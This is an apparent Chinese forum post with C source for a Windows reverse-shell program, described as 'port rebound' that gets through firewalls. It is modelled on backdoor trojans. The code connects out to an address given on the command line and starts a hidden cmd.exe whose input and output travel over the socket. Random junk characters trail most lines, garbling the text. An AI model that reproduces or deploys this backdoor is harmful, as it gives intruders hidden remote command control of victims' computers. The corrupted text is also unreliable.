Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 @QG1\W'  
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/* ============================== a,~P_B|@  
Rebound port in Windows NT 
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By wind,2006/7 1 =<|h  
===============================*/ sQZ8<DpB  
#include )0mDN.
  
#include lc-|Q#$3$  
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#pragma comment(lib,"wsock32.lib") !j9i=YDb  
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void OutputShell(); BUinzW z{a  
SOCKET sClient; m;f?}z_\$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e
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void main(int argc,char **argv) sK0VT"7K  
{ >8fH5  
WSADATA stWsaData; ~,2hP ~  
int nRet; SAh054/St  
SOCKADDR_IN stSaiClient,stSaiServer; L_"(A #H:  
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if(argc != 3) #<Nvy9  
{ ^~qs-.?  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2nkj;x{H$  
return; ACO4u<M)  
} |ozoc"'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); qLi9ym, ]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WWW#s gM%  
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stSaiClient.sin_family = AF_INET; |.O!zRm  
stSaiClient.sin_port = htons(0); t* vg]Yc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %K'*P56  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NK9WrUj)  
{ C2rj
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printf("Bind Socket Failed!\n"); KV}U{s+U8  
return; 3 9{"T0  
} H!r Kz  
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stSaiServer.sin_family = AF_INET; 0j!ke1C&C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VnSj:LUD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DJYXC,r  

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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %}MA5 t]o  
{ %C`'>,t>  
printf("Connect Error!"); &1E~ \
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return; zLw h6^?Y  
} uxC   
OutputShell(); 7s8<FyFsjd  
} `)=A!x y  
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void OutputShell() $wYuH9(  
{ y|;8:b32  
char szBuff[1024]; zz 'dg-F  
SECURITY_ATTRIBUTES stSecurityAttributes; frmqBCVJ:  
OSVERSIONINFO stOsversionInfo; nKjeH@&#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R8[iXXjku  
STARTUPINFO stStartupInfo; J`+`Kq1T  
char *szShell; sO6gIPU^  
PROCESS_INFORMATION stProcessInformation; "T{~,'T  
unsigned long lBytesRead; c7g.|R  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qBBYckS.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ? gA=39[j  
stSecurityAttributes.lpSecurityDescriptor = 0; "zedbJ0  
stSecurityAttributes.bInheritHandle = TRUE; fmnRUN=  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K/wiL69  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =nvAOvP{?  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?Rt1CDu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T$n>7X-r  
stStartupInfo.wShowWindow = SW_HIDE; I|F~HUzA"  
stStartupInfo.hStdInput = hReadPipe; ]{AOh2Z.hv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MdVCD^B  
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GetVersionEx(&stOsversionInfo); N&I8nZ9  
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switch(stOsversionInfo.dwPlatformId) ol?z<53X]  
{ ^A *]&%(h  
case 1: (>rS _#^  
szShell = "command.com"; 28T\@zi  
break; 2fkIdy#n@  
default: h/ LR+XX!  
szShell = "cmd.exe"; hl6,#2$  
break; VY+(,\)U  
} r/CEYEJ&X  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ( }]37  
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send(sClient,szMsg,77,0); $
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while(1) Y )u_nn'[  
{ ;[{:'^n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r{K\(UT]!  
if(lBytesRead) *[d~Nk%Y$  
{ `e'G.@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T!u'V'Ei2  
send(sClient,szBuff,lBytesRead,0); ";wyNpb(  
} B>~k).M&,  
else OW+e_im}  
{ 4R&*&GZ#  
lBytesRead=recv(sClient,szBuff,1024,0); ]j& FbP)3  
if(lBytesRead<=0) break; RGT_}ni  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =4frP*H?  
} 5Y(r\Dd  
} )^t!|*1LA  
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return; jZXVsd  
}